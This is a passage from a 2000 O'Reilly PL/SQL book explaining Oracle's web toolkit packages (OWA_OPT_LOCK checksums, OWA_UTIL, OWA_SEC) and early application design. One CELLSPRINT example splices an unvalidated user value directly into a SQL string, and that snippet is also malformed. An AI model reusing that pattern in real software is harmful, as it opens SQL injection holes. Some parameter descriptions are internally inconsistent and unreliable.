This function accepts a vcArray, and returns the ROWID (always in the third element in the array) from the fields generated by the STORE_VALUES procedure. Like VERIFY_VALUES, GET_ROWID is used in the procedure that handles form submission. The function is included as a convenience to save us from having to pass the original primary key of the record we are attempting to update. For example, in the previous procedure, we had to include the empno field both in the data entry form and as a parameter to the submission form (again, due to statelessness) to retain the original primary key. We could have saved a step by omitting empno and using GET_ROWID to retrieve the ROWID of the target record, as illustrated in the following code snippet:

-- old_rowid is a local variable declared as a rowid

old_rowid := OWA_OPT_LOCK.get_rowid (old_emp);
UPDATE scott.emp
   SET emp.ename = iename,
       emp.job = ijob
 WHERE ROWID = old_rowid;

7.3.2.2.4 The CHECKSUM function.

This function provides an alternative to the hidden field method that is useful when the underlying table contains sensitive information that might be compromised with the "View Source" browser option. Additionally, for tables with a very large number of columns, a checksum results in a more compact HTML form. This can be an important factor in improving download times, particularly when users are connecting with a modem or a WAN.

The CHECKSUM function has the same parameters as the STORE_VALUE procedure discussed earlier. The function returns a unique value for the values in the target row, and this value is stored as a hidden field within the data entry form. When the form is submitted, the checksum for the target row is recomputed and compared to the old value. If they are the same, then the procedure can apply the user's updates.

The following procedure illustrates how to use the CHECKSUM function when creating a data entry form. Unlike STORE_VALUES, which automatically passes the ROWID or the target record, we must manually include it as a hidden field when using the CHECKSUM approach:

CREATE OR REPLACE PROCEDURE opt_lock_centry (
   iempno IN VARCHAR2 DEFAULT NULL
   )
IS

   emp_rec scott.emp%ROWTYPE;
   rec_row_id ROWID;
   csum NUMBER;

BEGIN
   SELECT *
     INTO emp_rec
     FROM scott.emp
    WHERE emp.empno = iempno;
   SELECT ROWID
     INTO rec_row_id
     FROM scott.emp
    WHERE emp.empno = iempno;
   -- Create a simple data entry form
   HTP.print ('<form action=opt_lock_cupdate>');
   HTP.formhidden (cname => 'iempno', cvalue => iempno);
   HTP.formhidden (cname => 'irowid', cvalue => rec_row_id);
   HTP.print ('Employee Name:');
   HTP.formtext (cname => 'iename', cvalue => emp_rec.ename);
   HTP.print ('Job:');
   HTP.formtext (cname => 'ijob', cvalue => emp_rec.job);
   /*
   || Save the row's checksum in a hidden field
   */
   csum := OWA_OPT_LOCK.checksum ('SCOTT', 'emp', rec_row_id);
   HTP.formhidden (cname => 'iold_checksum', cvalue => csum);
   HTP.print ('<input type=submit>');
   HTP.print ('</form>');
END;

Here is the output of the procedure, showing the hidden field for the checksum of the target row:

<form action=opt_lock_cupdate>
<INPUT TYPE="hidden" NAME="iempno" VALUE="7934">
<INPUT TYPE="hidden" NAME="irowid" VALUE="AAAAeFAACAAAAEbAAN">
Employee Name:
<INPUT TYPE="text" NAME="iename" VALUE="MILLER">
Job:
<INPUT TYPE="text" NAME="ijob" VALUE="CLERK">
<INPUT TYPE="hidden" NAME="iold_checksum" VALUE="7925">
<input type=submit>
</form>

The next procedure illustrates how the function is used to process the form data; notice that the parameter name for the checksum must match the name used for the hidden field:

CREATE OR REPLACE PROCEDURE opt_lock_cupdate (
   iempno IN VARCHAR2 DEFAULT NULL,
   iename IN VARCHAR2 DEFAULT NULL,
   ijob IN VARCHAR2 DEFAULT NULL,
   iold_checksum IN VARCHAR2 DEFAULT NULL,
   irowid IN VARCHAR2 DEFAULT NULL
   )
IS

   new_checksum NUMBER;

BEGIN

   new_checksum :=
      OWA_OPT_LOCK.checksum ('SCOTT', 'emp', irowid);
   IF  (iold_checksum = new_checksum)
   THEN
      -- Perform the update
      UPDATE scott.emp
         SET emp.ename = iename,
             emp.job = ijob
       WHERE emp.empno = iempno;
      COMMIT;
      HTP.print ('<h1>Change Successful</h1>');
   ELSE
      HTP.print ('<h1>The record has been changed by another user.</h1>');
   END IF;
END;

There is a second version of the CHECKSUM function that computes a value for an arbitrary VARCHAR2 string. The following example shows its return value on two strings that differ by just one character:

OWA_OPT_LOCK.checksum ('Hello, World');   -- (csum = 21074)
OWA_OPT_LOCK.checksum ('Hello, Wordl');   -- (csum = 23114)

Previous: 7.2 Text Processing | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 7.4 Improving Productivity
7.2 Text Processing | Book Index | 7.4 Improving Productivity
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.4 Improving Productivity

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

7.4 Improving Productivity

The final two packages, OWA_UTIL and OWA_SEC, let you perform a variety of administrative and security-related tasks that help improve overall productivity.

7.4.1 OWA_UTIL: Creating Complex HTML Structures

The OWA_UTIL package is a grab-bag of useful procedures and functions that simplify many complex tasks. It contains procedures to query the web server environment, simplify debugging, change the default HTTP header, and simplify HTML development.

Table 7.15 shows the various functions and procedures contained in the OWA_UTIL package, which are grouped in categories in the following sections according to their uses.

NOTE: I've attempted to classify the OWA_UTIL procedures into broad, general categories (debugging, querying the environment, representing dates, etc.). These classifications reflect my own experience and are not intended to limit other possible uses.

Table 7.15: Various OWA_UTIL Procedures and Functions
Procedure/Function | Description
BIND_VARIABLES | Creates complex HTML structures
CALENDARPRINT | Creates complex HTML structures
CELLSPRINT | Creates complex HTML structures
CHOOSE_DATE | Represents dates
DATETYPE | Represents dates
GET_CGI_ENV | Queries the environment
GET_OWA_SERVICE_PATH | Queries the environment
GET_PROCEDURE | Performs debugging
HTTP_HEADER_CLOSE | HTML and HTTP utilities
IP_ADDRESS | Queries the environment
LISTPRINT | Creates complex HTML structures
MIME_HEADER | HTML and HTTP utilities
PRINT_CGI_ENV | Queries the environment
REDIRECT_URL | HTML and HTTP utilities
SHOWPAGE | Performs debugging
SHOWSOURCE | Performs debugging
SIGNATURE | HTML and HTTP utilities
STATUS_LINE | HTML and HTTP utilities
TABLEPRINT | Creates complex HTML structures
TODATE | Represents dates
WHO_CALLED_ME | Performs debugging

7.4.1.1 Debugging

OWA_UTIL has a number of procedures useful for debugging, many of which are built on top of the DBMS_UTILITY built-in package. These debugging procedures are listed in Table 7.16.

Table 7.16: OWA_UTIL Procedures and Functions Used for Debugging
Procedure/ Function | Parameters | Description
GET_PROCEDURE | None | Returns the name of the procedure being executed by the PL/SQL agent
SHOWPAGE | None | Prints the HTML generated by the HTP package
SHOWSOURCE | None | Prints the PL/SQL source code for a particular procedure, function, or package
WHO_CALLED_ME | owner IN VARCHAR2 name IN VARCHAR2 lineno IN NUMBER caller_t IN VARCHAR2 | Returns information about the procedure that called the currently executing procedure

7.4.1.1.1 The SHOWPAGE procedure.

This procedure allows you to print the HTML generated by the HTP package. As mentioned earlier, output from this package is stored in a buffer. The SHOWPAGE procedure lets you view the contents of this buffer in SQL*Plus. To use SHOWPAGE:

  1. Use SQL*Plus to log into the account that owns the desired procedure.

  2. Use the SQL*Plus command SET SERVEROUT ON to turn on server output.

  3. Execute the procedure, making sure to provide necessary parameters.

  4. Execute OWA_UTIL.SHOWPAGE to print the results.

7.4.1.1.2 The SHOWSOURCE procedure.

This procedure prints the PL/SQL source code for a given procedure, function, or package.

7.4.1.1.3 The GET_PROCEDURE function.

This function returns the name of the procedure that is being executed by the PL/SQL agent.

7.4.1.1.4 The WHO_CALLED_ME procedure.

This procedure returns information about the procedure that called the currently executing procedure. This information is particularly useful when you are trying to trace a program's execution. The parameters to the WHO_CALLED_ME procedure, which are all defined as OUT variables, are the following:

owner IN VARCHAR2

The owner of the calling program unit.

name IN VARCHAR2

The name of the calling unit (procedure name, function name, or ANONYMOUS).

lineno IN NUMBER

The line number of the call within the calling unit.

caller_t IN VARCHAR2

The type of call made. Here is an example:

-- Parameters to who_called_me must be declared as local variables
OWA_UTIL.who_called_me (cowner, cname, clineno, ccaller);
HTP.print (cowner || '<p>');
HTP.print (cname || '<p>');
HTP.print (clineno || '<p>');
HTP.print (ccaller || '<p>');

7.4.1.2 Querying the environment

Like any web server, OAS maintains environment variables. Several procedures within OWA_UTIL allow you to query these settings, as shown in Table 7.17.

Table 7.17: OWA_UTIL Procedures, Functions, and Datatypes for Querying the Environment
Procedure/Function | Parameters | Description
GET_CGI_ENV | param_name IN VARCHAR2 | Returns the value of an environment variable
GET_OWA_SERVICE_PATH | None | Returns the full path of the PL/SQL agent that executed the request
IP_ADDRESS | None | Datatype to hold the TCP/IP address of the client machine that executed a procedure or function
PRINT_CGI_ENV | None | Generates a list of the names and values for all environment variables

7.4.1.2.1 The PRINT_CGI_ENV procedure.

This procedure generates a list of names and values for all the environment variables. The procedure is used like the HTML procedures. As a general rule, it is not a good idea to allow casual users to view these settings, which provide detailed information, such as path settings, that can be exploited by malicious deviants. Figure 7.4 illustrates the output of this procedure.

Figure 7.4: The output of OWA_UTIL.PRINT_CGI_ENV

7.4.1.2.2 The GET_CGI_ENV function.

This function returns the value of an environment variable. It accepts a single VARCHAR2 parameter, param_name, and returns the value as a string. If the environment variable is not defined, the function returns NULL. For example:

-- Fetch the server name into a local variable
server := OWA_UTIL.get_cgi_env ('SERVER_NAME');
HTP.print ('The server is: ' || server);

7.4.1.2.3 The IP_ADDRESS datatype.

The TCP/IP address of the client machine that executed a procedure or function is a particularly useful environment variable. For this reason, OWA_UTIL declares a special data structure just to hold this address. Inexplicably, however, this structure seems to be used only by the OWA_SEC package's GET_CLIENT_IP_ADDRESS function. Go figure!

TYPE ip_address IS TABLE OF INTEGER
   INDEX BY BINARY_INTEGER;

The four elements of the ip_address array correspond to the four components of the address.

7.4.1.2.4 The GET_OWA_SERVICE_PATH function.

This function returns the full path of the PL/SQL agent used to execute the request. This string is typically the name of the PL/SQL agent followed by "/plsql/" (depending on the agent's configuration).

-- SP is a local VARCHAR2 variable
sp := OWA_UTIL.get_owa_service_path;
HTP.print (sp);

7.4.1.3 Representing dates

With dozens of possible formats, dates are troublesome in almost every development environment. OWA_UTIL can help simplify date entry by providing a standard input format for the day, month, and year. The procedures used to do this are shown in Table 7.18.

Table 7.18: OWA_UTIL Procedures for Representing Dates
Procedure/Function | Parameters | Description
CHOOSE_DATE | p_name IN VARCHAR2 p_date IN DATE DEFAULT SYSDATE | Generates input elements for date, month, and year
DATETYPE | None | Datatype for day, month, and year from choose_date
TODATE | None | Converts a datetype into a normal date variable

7.4.1.3.1 The CHOOSE_DATE procedure.

This procedure generates input elements for the day, month, and year that are used as part of a data entry form. Since each element has the same name, the date is passed as an array. Its parameters are as follows:

p_name IN VARCHAR2

The name of the form element.

p_date IN DATE DEFAULT SYSDATE

The value of the date.

The following procedure creates a nicely formatted form for entering a hire date:

HTP.print ('form action=proc_date');
HTP.print ('Date Hired:');
OWA_UTIL.choose_date ('date_hired','31-OCT-98');

Figure 7.5 shows the output from this procedure.

Figure 7.5: A form that uses OWA_UTIL.CHOOSE_DATE

7.4.1.3.2 The DATETYPE datatype.

The day, month, and year created with the CHOOSE_DATE procedure are held as three elements in an array:

TYPE datetype IS TABLE OF VARCHAR2(10)
   INDEX BY BINARY_INTEGER;

The specification also includes a DATETYPE variable called empty_date that is used as the default value for parameters that receive a DATETYPE value.

7.4.1.3.3 The TODATE function.

This function is used in the procedure that processes a form and converts a DATETYPE into a normal date variable:

CREATE OR REPLACE PROCEDURE proc_date (
   date_hired OWA_UTIL.datetype DEFAULT OWA_UTIL.empty_date
   )
IS

   dhire DATE;

BEGIN
   dhire := OWA_UTIL.todate (date_hired);
   HTP.print (TO_CHAR (dhire, 'Month DD, YYYY'));
END;

7.4.1.4 HTML and HTTP utilities

OWA_UTIL contains a number of specialized HTTP and HTML procedures that don't fit cleanly into the HTP package. These are shown in Table 7.19.

Table 7.19: OWA_UTIL Procedures Used for HTML and HTTP
Procedure | Parameters | Description
HTTP_HEADER_CLOSE | ccontent_type IN VARCHAR2 bclose_header IN BOOLEAN DEFAULT TRUE | Manually closes a web page header
MIME_HEADER | ccontent_type IN VARCHAR2 bclose_header IN BOOLEAN DEFAULT TRUE | Signals the PL/SQL agent to change the default header for a document
REDIRECT_URL | curl IN VARCHAR2 bclose_header IN BOOLEAN DEFAULT TRUE | Sends a user to a URL (passed as a parameter)
SIGNATURE | cname (optional; not recommended) | Generates a single document signature showing the date the page was last updated
STATUS_LINE | nstatus IN INTEGER creason IN VARCHAR2 DEFAULT NULL bclose_header IN BOOLEAN DEFAULT TRUE | Sends a numerical code to the browser indicating the status of a request

7.4.1.4.1 The SIGNATURE procedure.

A signature is a standardized line that usually appears at the end of a document. For example, an email signature often lists the sender's company, position, and phone number. Similarly, an HTML signature appears at the end of a web page. The SIGNATURE procedure generates a simple signature that gives the date the page was last updated:

<b>This page was produced by the PL/SQL Agent on sysdate</b>

You can also provide the name for a procedure or function in an optional parameter called cname. This adds an additional hyperlink to the signature that, when clicked, displays the PL/SQL code for the procedure or function specified in the parameter. This is a dangerous practice you should probably avoid.

7.4.1.4.2 The MIME_HEADER procedure.

Every resource is identified as a particular type of content. This classification, called the MIME (Multipurpose Internet Mail Extension) type, is based on a set of standards used for transmitting ASCII and binary files across the Internet.

This MIME type is set in a section called the HTTP header that is separate from the actual content.[4] The header section begins with a header that (like normal HTML) must be closed by another instruction. By default, the PL/SQL agent automatically sends text/html as the MIME type and closes the header. To perform certain tasks, such as creating a cookie or activating a content handler on the user's browser, we must interrupt this normal flow of events.

[4] Although they have similar names, the HTTP header is not the same as the HTML header created by the <head> tag.

For example, suppose we want to place the results of a query in a spreadsheet, rather than in an HTML document. To accomplish this, we must tell the browser that the content is not a normal HTML document, then generate a data stream, such as a tab-delimited set of columns, that is funneled to the spreadsheet program. We need to change the default text/html type to something like text/tab (the MIME type for tab-delimited content) to signal the browser to start a new content handler.

This is done with the OWA_UTIL procedures that change the default HTTP header. These procedures are not normal HTML; instead, they are special instructions that cause the browser to act in a particular way, and each must be used before any of the normal HTP procedures.

The MIME_HEADER procedure signals the PL/SQL agent to change the default header that is normally sent with the document. It has two parameters:

ccontent_type IN VARCHAR2

The new content type.

bclose_header IN BOOLEAN DEFAULT TRUE

Flag indicating if the header should be immediately closed; a value of FALSE leaves it open so that more instructions (like these to set cookies) can be included as part of the header.

7.4.1.4.3 The STATUS_LINE procedure.

This procedure sends a numerical code to the browser indicating the status of a request. There are three parameters to the procedure:

nstatus IN INTEGER

The numeric status code.

creason IN VARCHAR2 DEFAULT NULL

Code description.

bclose_header IN BOOLEAN DEFAULT TRUE

Flag to close the HTTP header.

The Internet community has developed a standard set of number/message result codes, the most common of which are:

200: Success
401: Unauthorized
403: Forbidden
404: Not Found

7.4.1.4.4 The REDIRECT_URL procedure.

It is often necessary to transparently send users from one web page to another. Most often, this is done when a page is moved to another location. Rather than having users reenter the new location, we simply redirect them to the new page.

Sometimes we want to direct users to a static page from within a PL/SQL program. For example, suppose you need to make some changes to a popular PL/SQL web application and you want to keep users out for a while. You can use redirection to send users who attempt to use the application to a new page that explains why the application is closed and when it will be available again (assuming, of course, that you haven't shut the database down entirely). This basic courtesy can save you lots of calls from irate users.

The REDIRECT_URL procedure sends a user to the URL passed as a parameter. This URL can refer to a static page or another PL/SQL program; you can even pass parameters using the query string. Like MIME_HEADER and STATUS_LINE, REDIRECT_URL places its output within the HTTP header and must appear before any other HTP calls. It has two parameters:

curl IN VARCHAR2

The new URL.

bclose_header IN BOOLEAN DEFAULT TRUE

Flag to close the HTTP header.

The following procedure illustrates how you could redirect a user to a static page if you wanted to shut down an application temporarily:

PROCEDURE popular_app_main
IS
BEGIN
   IF popular_app_is_closed
   THEN
      -- Redirect to static page
      OWA_UTIL.redirect_url ('http://server/alert/status.html');
   ELSE
      HTP.title ('The application you know and love...');
      popular_app.show_main_page;
   END IF;
END;

7.4.1.4.5 The HTTP_HEADER_CLOSE procedure.

This procedure is used to manually close the header when the bclose_header flag to any of the previous procedures is FALSE. It does not have any parameters.

7.4.1.5 Creating complex HTML structures

The OWA_UTIL procedures and functions listed in Table 7.20 help you create more complex HTML structures. They are described in the following sections.

Table 7.20: OWA_UTIL Procedures and Functions for Creating Complex HTML Structures
Procedure/Function | Parameters | Description
BIND_VARIABLES | theQuery IN VARCHAR2 DEFAULT NULL bvnName IN VARCHAR2 DEFAULT NULL bvnValue IN VARCHAR2 DEFAULT NULL | Provides an interface to the built-in package DBMS_SQL
CALENDARPRINT | p_theQuery IN VARCHAR2 OR NUMBER p_cname IN VARCHAR2 p_nsize IN NUMBER p_multiple IN BOOLEAN DEFAULT FALSE | Creates an HTML-based monthly calendar
CELLSPRINT | theQuery IN VARCHAR2 OR NUMBER p_max_rows IN NUMBER p_format_numbers IN VARCHAR2 DEFAULT NULL p_skip_rec IN NUMBER DEFAULT 0 p_more_data OUT BOOLEAN | A stripped-down version of TABLEPRINT
LISTPRINT | p_theQuery IN VARCHAR2 OR NUMBER p_cname IN VARCHAR2 p_nsize IN NUMBER p_multiple IN BOOLEAN DEFAULT FALSE | Creates a list of values (LOV) on an HTML form
TABLEPRINT | ctable IN VARCHAR2 cattributes IN VARCHAR2 DEFAULT NULL ntable_type IN INTEGER DEFAULT HTML_TABLE ccolumns IN VARCHAR2 DEFAULT `*' cclauses IN VARCHAR2 DEFAULT NULL ccol_aliases IN VARCHAR2 DEFAULT NULL nrow_min IN NUMBER DEFAULT 0 nrow_max IN NUMBER DEFAULT 0 | Produces a formatted HTML table based on a SQL query

7.4.1.5.1 The TABLEPRINT function.

This function produces a formatted HTML table based on a SQL query whose appearance is similar to that of a SELECT statement in SQL*Plus. The function's return value indicates if all the rows in the underlying table have been displayed. Its parameters are:

ctable IN VARCHAR2

The database table that is being reported on.

cattributes IN VARCHAR2 DEFAULT NULL

Free-format attributes to be included as part of the table tag (i.e., <table cattributes>).

ntable_type IN INTEGER DEFAULT HTML_TABLE

The output type; can be either an HTML table or a text table; two numeric constants, HTML_TABLE (value = 1) and PRE_TABLE (value = 2) are defined to represent these types.

ccolumns IN VARCHAR2 DEFAULT '*'

The columns to include in the output; the list is delimited with commas.

cclauses IN VARCHAR2 DEFAULT NULL

A WHERE or ORDER BY clause used to select specific rows from the underlying table; the clause must be syntactically correct and include all necessary keywords (such as WHERE...).

ccol_aliases IN VARCHAR2 DEFAULT NULL

The column aliases used for each column; this list is comma-delimited and should correspond to the columns specified in the ccolumns parameter.

nrow_min IN NUMBER DEFAULT 0

The ordinal position of the first row in the result set to display; not the same as rownum.

nrow_max IN NUMBER DEFAULT 0

The ordinal position of the last row in the result set to display; not the same as rownum.

The tprint procedure, shown in the following code, uses the TABLEPRINT procedure to page through the EMP table five rows at a time. The i_page_num parameter is used to calculate corresponding values for the nrow_min and nrow_max parameters. The output is shown in Figure 7.6.

CREATE OR REPLACE PROCEDURE tprint (
   i_page_num IN VARCHAR2 DEFAULT '1'
   )
IS

   more_rows BOOLEAN;

   cur_page NUMBER
      := TO_NUMBER (i_page_num);
   min_row NUMBER;
   max_row NUMBER;

   i_num_rows CONSTANT NUMBER := 5;

BEGIN
   min_row :=  (cur_page - 1) * i_num_rows + 1;
   max_row := min_row + i_num_rows - 1;
   more_rows :=
      OWA_UTIL.tableprint (
         ctable       => 'scott.emp',
         cattributes  => 'border=1',
         ntable_type  => OWA_UTIL.html_table,
         ccolumns     => 'job, ename, hiredate, sal',
         cclauses     => 'order by job, ename',
         ccol_aliases => 'Job, Employee Name, Date Hired, Salary',
         nrow_min     => min_row,
         nrow_max     => max_row
      );
   -- Put a "Prev" hyperlink if min_row > 1
   IF cur_page > 1
   THEN
      HTP.anchor (
         'tprint?i_page_num=' ||  (cur_page - 1),
         'Previous'
      );
   END IF;
   -- Put a "Next" hyperlink if there are more rows in the query
   IF more_rows
   THEN
      HTP.anchor (
         'tprint?i_page_num=' ||  (cur_page + 1),
         'Next'
      );
   END IF;

END;

Figure 7.6: The output of the tprint procedure

7.4.1.5.2 The BIND_VARIABLES procedure.

This procedure puts a friendly face on DBMS_SQL, one of the most flexible and powerful of all the built-in packages. DBMS_SQL allows you to dynamically construct and execute SQL statements as your program executes. The queries constructed by BIND_VARIABLES can even contain variables that are bound to values entered on the HTML form.

The BIND_VARIABLES procedure accepts a SQL statement and up to 25 name/value pairs of bind variables. It returns a cursor handle (not an actual cursor) that can be passed to other OWA_UTIL procedures to create complex HTML structures. This handle is also used by the various procedures in DBMS_SQL to fetch, parse, and close dynamic queries. For an excellent discussion of DBMS_SQL, see Oracle Built-in Packages by Steven Feuerstein, Charles Dye, and John Beresniewicz (O'Reilly & Associates, 1998).

The parameters to the BIND_VARIABLES procedure are:

theQuery IN VARCHAR2 DEFAULT NULL

The select query to use in creating the dynamic cursor; it can contain up to 25 bind variables.

bvnName IN VARCHAR2 DEFAULT NULL

The name of the nth bind variable (i.e., bv1Name, bv2Name, . . . bv25Name); there must be a bind variable parameter for each bind variable in the SELECT statement.

bvnValue IN VARCHAR2 DEFAULT NULL

The value of the n th bind variable (i.e., bv1Value, bv2Value, . . . bv25Value); there must be a corresponding value for each bind variable name.

Here is a simple code snippet illustrating the use of the BIND_VARIABLES procedure. The SELECT statement is built and stored in a string:

stmt :=
      'select emp.ename, emp.job, emp.sal, dpt.dname, dpt.loc';
   stmt := stmt || ' from scott.emp emp, scott.dept dpt';
   stmt := stmt || ' where emp.deptno = dpt.deptno and';
   stmt := stmt || ' dpt.dname like :bvDept and';
   stmt := stmt || ' emp.job like :bvJob and ';
   stmt := stmt || ' emp.sal > :bvSal';
   stmt := stmt || ' order by emp.ename';
   --
   cur_handle :=
      OWA_UTIL.bind_variables (
         TheQuery => stmt,
         bv1Name  => 'bvDept',
         bv1Value => 'RESEARCH',
         bv2Name  => 'bvJob',
         bv2Value => '%',
         bv3Name  => 'bvSal',
         bv3Value => 1000
      );

7.4.1.5.3 The CELLSPRINT procedure.

CELLSPRINT is a stripped-down version of TABLEPRINT. The main difference between the two procedures is that CELLSPRINT can accept a dynamic query generated with BIND_VARIABLES in addition to a simple VARCHAR2 query string. This is especially useful when the underlying query contains a number of bind variables. Its parameters are:

theQuery IN VARCHAR2 OR NUMBER

The query on which to build the table; it can be a simple string or a cursor handle returned by BIND_VARIABLES.

p_max_rows IN NUMBER

The maximum number of rows allowed in the HTML output; this parameter is not optional.

p_ format_numbers IN VARCHAR2 DEFAULT NULL

If this value is non-null, numbers in the table are right-justified and formatted to two decimal places.

p_skip_rec IN NUMBER DEFAULT 0

Optional offset; sets the first row of the result set that is displayed; similar to the nrow_min parameter of TABLEPRINT.

p_more_data OUT BOOLEAN

Optional flag used in conjunction with p_skip_rec that indicates if there are more rows in the underlying table; similar to the return value of the TABLEPRINT function.

Here is a simple example based on a VARCHAR2 query string:

OWA_UTIL.cellsprint (
   'select * from emp where job like ' || iename || '%',
   10,
   'Y'
);

We could use CELLSPRINT to quickly print the results of the SELECT statement defined in a call to the BIND_VARIABLES procedure:

OWA_UTIL.cellsprint (cur_handle, 10, 'Y');

7.4.1.5.4 The LISTPRINT procedure.

This procedure is handy for creating lists of values (LOVs) on an HTML form. Like traditional LOVs, the elements in the list come from an underlying query. However, since HTTP is stateless, the entire contents of the query must be downloaded to the HTML form, which can present a problem for very large numbers of elements. It has the following parameters:

p_theQuery IN VARCHAR2 OR NUMBER

The underlying query on which the LOV is based; can be either a VARCHAR2 string or a cursor handle to a dynamic query created with the BIND_VARIABLES procedure.

p_cname IN VARCHAR2

The name of the HTML input element.

p_nsize IN NUMBER

The size of the input list; setting this value to "1" creates a drop-down list; otherwise, it creates a scrollbox with the specified number of items visible.

p_multiple IN BOOLEAN DEFAULT FALSE

Flag indicating that the select list can contain multiple selections; if TRUE, the input element must be treated as an array of elements when the form is processed.

The underlying query must have the following layout:

Column 1

The value returned when the element is selected from the list (e.g., empno, deptno, etc.).

Column 2

The value the user sees on the form (e.g., ename, deptname, etc.).

Column 3

A non-NULL value in the third column marks the row as "selected" on the form.

The following procedure call creates an input element we can include within an HTML form:

OWA_UTIL.listprint (
   'select empno, ename, null from scott.emp order by ename',
   'iempno',
   1
);

The procedure generates the following HTML:

<SELECT NAME="emp_no" SIZE="1">
<OPTION value="7876">ADAMS
<OPTION value="7499">ALLEN
<OPTION value="7698">BLAKE
....
<OPTION value="7844">TURNER
<OPTION value="7521">WARD
</SELECT>

7.4.1.5.5 The CALENDARPRINT procedure.

This procedure creates an HTML-based monthly calendar. The procedure has the following parameters:

p_query IN VARCHAR2 OR INTEGER

The underlying query for the calendar; can be either a simple VARCHAR2 string or a handle to a dynamic cursor created with the BIND_VALUES procedure.

p_mf_only IN VARCHAR2 DEFAULT `N'

Flag to exclude Sunday and Saturday from the calendar; an "N" (the default) includes them, a "Y" excludes them.

The underlying query must have the following layout:

Column 1

A date; CALENDARPRINT generates a one-month calendar for each unique month/year combination in this column. The query should be ordered by this column.

Column 2

The text printed on the calendar for the date.

Column 3

If non-NULL, this column turns the text into a hyperlink. The column must contain a valid URL.

For example, suppose we want to print a calendar based on a to-do list stored in a database table with the following columns and data:

DUE_DATE    DESCRIPTION                   HYPERLINK
---------   ----------------------------  -----------------------
20-OCT-98   Give cat pill                 http://www.sickcat.com
22-OCT-98   Research Dev2K                http://www.oracle.com
28-OCT-98   Check out new O'Reilly books  http://www.oreilly.com
30-OCT-98   Buy Costume
31-OCT-98   Trick-or-Treat!

We can use the following line to create the calendar:

str := 'select due_date, description, hyperlink ';
str := str || 'from to_do order by due_date';
OWA_UTIL.calendarprint (str);

Figure 7.7 shows the output of this call.

Figure 7.7: A calendar based on a to-do list

7.4.2 OWA_SEC: Managing Security

The toolkit includes a package, OWA_SEC, that is used to query and set various security options, such as realms, domains, etc. Most of these procedures are conceptually similar to the procedures of OWA_UTIL that query the environment variables. Table 7.21 summarizes the various security procedures and functions.

Table 7.21: Various OWA_SEC Procedures and Functions
Procedure/Function | Parameters | Description
GET_CLIENT_HOSTNAME | None | Returns the web server's hostname
GET_CLIENT_IP | None | Returns the TCP/IP address of the client browser that executed the procedure
GET_USER_ID | None | Returns the username of the user executing the procedure
GET_PASSWORD | None | Returns the password used to log in
SET_AUTHORIZATION | scheme IN INTEGER | Forces the PL/SQL agent to call a custom authentication function called AUTHORIZE
SET_PROTECTION_REALM | realm IN VARCHAR2 | Forces the user to provide a valid login name and password for the specified security realm

Previous: 7.3 Maintaining State | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 8. Developing Applications
7.3 Maintaining State | Book Index | 8. Developing Applications
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] Developing Applications

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 7.4 Improving Productivity Chapter 8 Next: 8.2 Example 1: An Anonymous Survey

8. Developing Applications

Contents:
Designing a Web Application
Example 1: An Anonymous Survey
Example 2: A Discussion Forum

In the last chapter, we learned about the individual packages of the PL/SQL toolkit. In this chapter, we'll use these packages to create two realistic web applications. The first application allows us to create and distribute anonymous surveys; the second allows users to communicate over the Web in a threaded discussion forum.

8.1 Designing a Web Application

Before looking at these two systems, however, let's take a quick look at four simple steps that can improve the design process. When you are confronted with any design task, it can greatly help to break the process down into manageable pieces, as follows:

  1. Evaluate your development options; be sure PL/SQL and HTML are really the right tools for the job.[1]

    [1] We'll assume that in this chapter!

  2. Create a storyboard that will help you visualize the relationship between an application's various web pages.

  3. Create a data model to help you create the screens.

  4. Use PL/SQL packages to actually structure the code.

The next few sections describe these steps in more detail.

8.1.1 Evaluate Development Options

Choosing the right development language is always the critical first step in building any application. While you can use HTML and PL/SQL to create very powerful systems, there are still some things you should think about before you start coding. For example:

  • Does the proposed application require a lot of sophisticated data entry screens?

  • Will users accept a new kind of interface?

  • Do all users have modern browsers?

  • Is the system brand-new, or is it replacing an existing system you could easily retrofit for the Web? For example, you could take an existing Oracle Forms application and access it using the web-enabled version of Developer.

The first of these questions is the most important. As a rule of thumb, it's probably better to use Java or client/server than HTML for mission-critical applications with sophisticated data entry screens requiring lots of user interactions, which would be very difficult to code from scratch. For example, you would not want to develop an accounts payable system in HTML. In my own experience, the most effective use of PL/SQL and HTML is for creating systems that generate information from a database, not those that put information into a database.

Also, once again, it's important to remember that you must always accommodate your design to the stateless nature of HTML. For example, a complex, hierarchical system where users progressively drill down to lower and lower levels, all the while picking up extra state information, might be difficult to implement in a web environment.

8.1.2 Create a Storyboard

Once you've decided to build an HTML system using PL/SQL, the next step is to create a diagram, called a storyboard, that helps you visualize the relationship between an application's various web pages. Figure 8.1 shows a simple storyboard for an organizational chart application.

Figure 8.1: A simple storyboard

Each block on the diagram represents a page. The arrowed lines represent links between the pages. The labels on the link represent the information needed to move from one screen to the next. For example, to generate the second screen of the organization chart application, we must use the department ID code (dept_id) to fetch the correct employees.

There are several benefits to building a simple storyboard before you begin an application:

  • Since a storyboard gives even a casual observer an overview of the entire system, you can get useful feedback from potential end users before you begin any actual coding.

  • The elements on the storyboard translate almost directly into PL/SQL structures. For example, a quick look at the organization chart storyboard shows that we need at least three procedures. The labels on the links give us the formal parameters for each of these procedures.

  • The storyboard, even if sketched out on the back of a napkin, is a useful piece of system documentation that can help future developers to quickly grasp the system's major functions.

8.1.3 Create a Data Model

Once you have completed the storyboard, you should build a simple data model to help you create the screens. Tables and relationships are your bread-and-butter resources; put them to work in your web systems. For example, suppose your company reorganizes and adopts some crazy new management plan. Inevitably, you will be called upon to develop hundreds of online surveys, with questions such as "Do you meet your core objectives?" or "How can you better align your personal life to the strategic goals of the company?"

